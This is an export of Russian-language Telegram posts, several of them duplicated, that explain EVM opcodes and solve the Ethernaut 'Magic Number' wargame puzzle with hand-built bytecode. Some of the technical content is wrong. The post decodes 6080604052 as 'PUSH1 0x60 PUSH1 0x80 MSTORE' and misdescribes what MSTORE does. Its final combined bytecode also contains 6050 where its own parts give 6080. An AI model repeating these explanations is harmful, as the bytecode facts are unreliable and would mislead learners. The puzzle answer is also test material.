Также рекомендую использовать dotenv для сокрытия важной информации в файлах, типа API используемого сервиса.
#ethers #ethersjs #alchemy #event
👍1
Лезем в опкод!
Со вчерашнего дня у меня в голове засела идея узнать больше про опкод в EVM. К тому же еще та задача из ethernaut не давала покоя. Поэтому я решил покопаться в этой теме чуть глубже.
К моему удивлению, про опкод и работу в ним довольно мало информации. Большинство из них приводят примеры списка всех опкодов, вот он. А как он работает никто не говорит.
Ну, как никто, скорее никто не говорит понятным языком. Да и какой "понятный язык" может быть в технической части.
Тем не менее, я нашел несколько интересных ресурсов про опкод и сегодня хочу сделать несколько постов по этой теме.
И для начала представляю вам очень хорошее видео с летней конференции в Нью-Йорке от разработчика в Macro. Да, видео на английском языке, но, если вы не понимаете, то можно включить довольно сносные субтитры. Более того на слайдах все достаточно понятно.
Видео: Демистификация опкода EVM
Приятного просмотра!
#evm #opcode
Со вчерашнего дня у меня в голове засела идея узнать больше про опкод в EVM. К тому же еще та задача из ethernaut не давала покоя. Поэтому я решил покопаться в этой теме чуть глубже.
К моему удивлению, про опкод и работу в ним довольно мало информации. Большинство из них приводят примеры списка всех опкодов, вот он. А как он работает никто не говорит.
Ну, как никто, скорее никто не говорит понятным языком. Да и какой "понятный язык" может быть в технической части.
Тем не менее, я нашел несколько интересных ресурсов про опкод и сегодня хочу сделать несколько постов по этой теме.
И для начала представляю вам очень хорошее видео с летней конференции в Нью-Йорке от разработчика в Macro. Да, видео на английском языке, но, если вы не понимаете, то можно включить довольно сносные субтитры. Более того на слайдах все достаточно понятно.
Видео: Демистификация опкода EVM
Приятного просмотра!
#evm #opcode
YouTube
🎤 Demystifying EVM Opcodes
Join Gilbert G of Macro for a talk noscriptd, "Demystifying EVM Opcodes."
This workshop is part of ETHNewYork 2022, a three-day in person hackathon that will feature hackers, mentors, enthusiasts, sponsors and speakers who are all gathering in New York June…
This workshop is part of ETHNewYork 2022, a three-day in person hackathon that will feature hackers, mentors, enthusiasts, sponsors and speakers who are all gathering in New York June…
👍1
Опкод из байткода
Понравился этот слайд из видео, где объясняется конструкция опкода.
Если говорить кратко, то код нашего смарт контракта в сети Эфира представлен в виде байткода. Например, сложение (add) выглядит так:
0000 0001
В опкодах мы берем каждые 4 символа бинарного кода и приравниваем его к 1 символу в hex, и добавляем "0х", для указания EVM на то, что это конкретно hex код, а не какой-нибудь другой. И получается:
0х01
В итоге, все опкоды равны 1 байту, или 2 hex символам. Более того, каждому опкоду (этому hex) соответствует понятное для разработчика название.
Opcode 01 = name "Add"
Вот эти человекопонятные обозначения мы и видим в дебаггере Ремикса, когда проходим по шагам контракта.
#evm #opcode
Понравился этот слайд из видео, где объясняется конструкция опкода.
Если говорить кратко, то код нашего смарт контракта в сети Эфира представлен в виде байткода. Например, сложение (add) выглядит так:
0000 0001
В опкодах мы берем каждые 4 символа бинарного кода и приравниваем его к 1 символу в hex, и добавляем "0х", для указания EVM на то, что это конкретно hex код, а не какой-нибудь другой. И получается:
0х01
В итоге, все опкоды равны 1 байту, или 2 hex символам. Более того, каждому опкоду (этому hex) соответствует понятное для разработчика название.
Opcode 01 = name "Add"
Вот эти человекопонятные обозначения мы и видим в дебаггере Ремикса, когда проходим по шагам контракта.
#evm #opcode
Магические 6080604052
Уверен, никто не прочитал число в заголовке поста. А зря...
Это число является байткодом, с которого начинается байткод любого смарт контракта. Ну, иногда с легкими изменениями в 6060604052. Хотите узнать что это такое?
И это тоже относится к опкоду EVM. В другом формате это можно было бы записать так:
PUSH1 0x60 PUSH1 0x80 MSTORE
Как мы можем убедиться из таблицы опкодов, PUSH1 = 60, MSTORE = 52.
PUSH1 (0x60) - кладет 0х60 в Stack (мы же помним о форматах памяти?);
PUSH1 (0x60) - потом кладет 0х80 в Stack;
MSTORE (0x52) - берет 0х60 из памяти и перемещает в слот 0х80;
Если выполнить все эти действия по порядку, получится именно 6080604052.
Далее чуть сложнее.
0х80 и 0х60 не могут быть использованы, как простые числа 80 или 60. Так как они hexadecimal, то в переводе в decimal 60 будет ровняться 96, а 80 - 128.
Короче говоря, PUSH1 0x60 PUSH1 0x80 MSTORE берет 96 байтов памяти и перемещает указатель в начало 128 байта. Именно поэтому в памяти первые 64 байта всегда пустые, следующие 32 являются указателем, и потом уже идет запись контракта в саму память.
#evm #opcode
Уверен, никто не прочитал число в заголовке поста. А зря...
Это число является байткодом, с которого начинается байткод любого смарт контракта. Ну, иногда с легкими изменениями в 6060604052. Хотите узнать что это такое?
И это тоже относится к опкоду EVM. В другом формате это можно было бы записать так:
PUSH1 0x60 PUSH1 0x80 MSTORE
Как мы можем убедиться из таблицы опкодов, PUSH1 = 60, MSTORE = 52.
PUSH1 (0x60) - кладет 0х60 в Stack (мы же помним о форматах памяти?);
PUSH1 (0x60) - потом кладет 0х80 в Stack;
MSTORE (0x52) - берет 0х60 из памяти и перемещает в слот 0х80;
Если выполнить все эти действия по порядку, получится именно 6080604052.
Далее чуть сложнее.
0х80 и 0х60 не могут быть использованы, как простые числа 80 или 60. Так как они hexadecimal, то в переводе в decimal 60 будет ровняться 96, а 80 - 128.
Короче говоря, PUSH1 0x60 PUSH1 0x80 MSTORE берет 96 байтов памяти и перемещает указатель в начало 128 байта. Именно поэтому в памяти первые 64 байта всегда пустые, следующие 32 являются указателем, и потом уже идет запись контракта в саму память.
#evm #opcode
👍1
Задача из Ethernaut - Magiс Number. Часть 1
Напомню, что эту задачу мы оставили на потом, так как нужно было разобраться с опкодом. Теперь мы понимаем его чуть лучше, и можно попробовать разобрать задачу.
P.S. Уже не сегодня, но мы порой будем возвращаться к опкоду в будущем, когда появится более интересный материал по этой теме.
Итак, целью задачи было написать код смарт контракта, чтобы он возвращал нам число "42", при этом уложившись в 10 байтов. Это можно сделать только с помощью опкода. Поехали.
Мы помним, что 1 опкод = 1 байту, а число 42 в hex = 0х2а.
Нам потребуется два набора байткода:
1. Байткод инициализации: тот, который подготовит смарт контракт и вернет runtime байткод.
2. Runtime байткод: тот, который используется после создания контракта, и где лежат все наши функции.
Посмотри на runtime сперва.
Для того, чтобы поместить что-то в память нам потребуется минимум три действия: сделать push данных, сделать push места, выполнить mstore, который принимает значение первых двух.
Кладем значение в память:
1. 0x60 - PUSH1 --> PUSH(0x2a) --> 0x602a
2. 0x60 - PUSH1 --> PUSH(0x80) --> 0x6080
3. 0x52 - MSTORE --> MSTORE --> 0x52
И возвращаем его из памяти:
1. 0x60 - PUSH1 --> PUSH(0x20) --> 0x6020
(размер значение в 32 байтах)
2. 0x60 - PUSH1 --> PUSH(0x80) --> 0x6080
3. 0xf3 - RETURN --> RETURN --> 0xf3
RETURN еще один новый для нас опкод, который принимает значения: слота памяти, где хранится значение, а также длину / размер данного значение.
В итоге runtime байткод будет выглядеть так:
602a60805260206080f3
Все "0х" мы удаляем, не забыли?
#evm #opcode
Напомню, что эту задачу мы оставили на потом, так как нужно было разобраться с опкодом. Теперь мы понимаем его чуть лучше, и можно попробовать разобрать задачу.
P.S. Уже не сегодня, но мы порой будем возвращаться к опкоду в будущем, когда появится более интересный материал по этой теме.
Итак, целью задачи было написать код смарт контракта, чтобы он возвращал нам число "42", при этом уложившись в 10 байтов. Это можно сделать только с помощью опкода. Поехали.
Мы помним, что 1 опкод = 1 байту, а число 42 в hex = 0х2а.
Нам потребуется два набора байткода:
1. Байткод инициализации: тот, который подготовит смарт контракт и вернет runtime байткод.
2. Runtime байткод: тот, который используется после создания контракта, и где лежат все наши функции.
Посмотри на runtime сперва.
Для того, чтобы поместить что-то в память нам потребуется минимум три действия: сделать push данных, сделать push места, выполнить mstore, который принимает значение первых двух.
Кладем значение в память:
1. 0x60 - PUSH1 --> PUSH(0x2a) --> 0x602a
2. 0x60 - PUSH1 --> PUSH(0x80) --> 0x6080
3. 0x52 - MSTORE --> MSTORE --> 0x52
И возвращаем его из памяти:
1. 0x60 - PUSH1 --> PUSH(0x20) --> 0x6020
(размер значение в 32 байтах)
2. 0x60 - PUSH1 --> PUSH(0x80) --> 0x6080
3. 0xf3 - RETURN --> RETURN --> 0xf3
RETURN еще один новый для нас опкод, который принимает значения: слота памяти, где хранится значение, а также длину / размер данного значение.
В итоге runtime байткод будет выглядеть так:
602a60805260206080f3
Все "0х" мы удаляем, не забыли?
#evm #opcode
👍1
Задача из Ethernaut - Magiс Number. Часть 2
Теперь разберем байткод инициализации. Он отвечает за загрузку нашего runtime кода в память и возвращает его в EVM.
Для этого нам потребуется скопировать код с помощью опкода CODECOPY, который принимает 3 значения:
1. Слот назначения, куда код будет помещен в памяти, для примера возьмем 0х00.
2. Текущая позиция опкода runtime, которую мы не знаем в данный момент.
3. Размер нашего кода в байтах, и его длина сейчас ровно 10 байтов.
Вот так это выглядит:
1. 0x60 - PUSH1 --> PUSH(0x0a) --> 0x600a
(0x0a - это размер нашего кода - 10 байтов)
2. 0x60 - PUSH1 --> PUSH(0x??) --> 0x60??
(?? - позиция, которую мы еще не знаем)
3. 0x60 - PUSH1 --> PUSH(0x00) --> 0x6000
(0x00 выбранный нами ранее слот памяти)
4. 0x39 - CODECOPY --> CODECOPY --> 0x39
Далее возвращаем этот код:
1. 0x60 - PUSH1 --> PUSH(0x0a) --> 0x600a
(размер нашего опкода в 10 байтов)
2. 0x60 - PUSH1 --> PUSH(0x00) --> 0x6000
(значение было сохранено в слоту 0х00)
3. 0xf3 - RETURN --> RETURN --> 0xf3
(возвращает значение в 0х00 и длинной в 0х0а)
Если сложить текущий опкод, мы получим 600a60__600039600a6000f3. Он будет равняться 12 байтам. Это означает, что мы нашли недостающее значение, которое мы ранее пометили, как ??.
12 или 0x0c в hex позволяет закончить создание нашего кода:
600a600c600039600a6000f3
Теперь можно сложить два байткода и получить то, что потребуется нам для решения:
602a60805260206080f3 + 600a600c600039600a6000f3 = 600a600c600039600a6000f3602a60505260206050f3
Говоря кратно, решение задачи можно теперь представить так:
bytes memory code = "\x60\x0a\x60\x0c\x60\x00\x39\x60\x0a\x60\x00\xf3\x60\x2a\x60\x80\x52\x60\x20\x60\x80\xf3";
address solver;
assembly {
solver := create(0, add(code, 0x20), mload(code))
}
Мы используем assembly для создания контракта через create, который принимает три параметра: значение, положение и длину, возвращая адрес контракта после его деплоя.
Надеюсь, эта задача и работа с опкодом стала для вас чуточку понятнее.
#evm #opcode
Теперь разберем байткод инициализации. Он отвечает за загрузку нашего runtime кода в память и возвращает его в EVM.
Для этого нам потребуется скопировать код с помощью опкода CODECOPY, который принимает 3 значения:
1. Слот назначения, куда код будет помещен в памяти, для примера возьмем 0х00.
2. Текущая позиция опкода runtime, которую мы не знаем в данный момент.
3. Размер нашего кода в байтах, и его длина сейчас ровно 10 байтов.
Вот так это выглядит:
1. 0x60 - PUSH1 --> PUSH(0x0a) --> 0x600a
(0x0a - это размер нашего кода - 10 байтов)
2. 0x60 - PUSH1 --> PUSH(0x??) --> 0x60??
(?? - позиция, которую мы еще не знаем)
3. 0x60 - PUSH1 --> PUSH(0x00) --> 0x6000
(0x00 выбранный нами ранее слот памяти)
4. 0x39 - CODECOPY --> CODECOPY --> 0x39
Далее возвращаем этот код:
1. 0x60 - PUSH1 --> PUSH(0x0a) --> 0x600a
(размер нашего опкода в 10 байтов)
2. 0x60 - PUSH1 --> PUSH(0x00) --> 0x6000
(значение было сохранено в слоту 0х00)
3. 0xf3 - RETURN --> RETURN --> 0xf3
(возвращает значение в 0х00 и длинной в 0х0а)
Если сложить текущий опкод, мы получим 600a60__600039600a6000f3. Он будет равняться 12 байтам. Это означает, что мы нашли недостающее значение, которое мы ранее пометили, как ??.
12 или 0x0c в hex позволяет закончить создание нашего кода:
600a600c600039600a6000f3
Теперь можно сложить два байткода и получить то, что потребуется нам для решения:
602a60805260206080f3 + 600a600c600039600a6000f3 = 600a600c600039600a6000f3602a60505260206050f3
Говоря кратно, решение задачи можно теперь представить так:
bytes memory code = "\x60\x0a\x60\x0c\x60\x00\x39\x60\x0a\x60\x00\xf3\x60\x2a\x60\x80\x52\x60\x20\x60\x80\xf3";
address solver;
assembly {
solver := create(0, add(code, 0x20), mload(code))
}
Мы используем assembly для создания контракта через create, который принимает три параметра: значение, положение и длину, возвращая адрес контракта после его деплоя.
Надеюсь, эта задача и работа с опкодом стала для вас чуточку понятнее.
#evm #opcode
👍2🔥1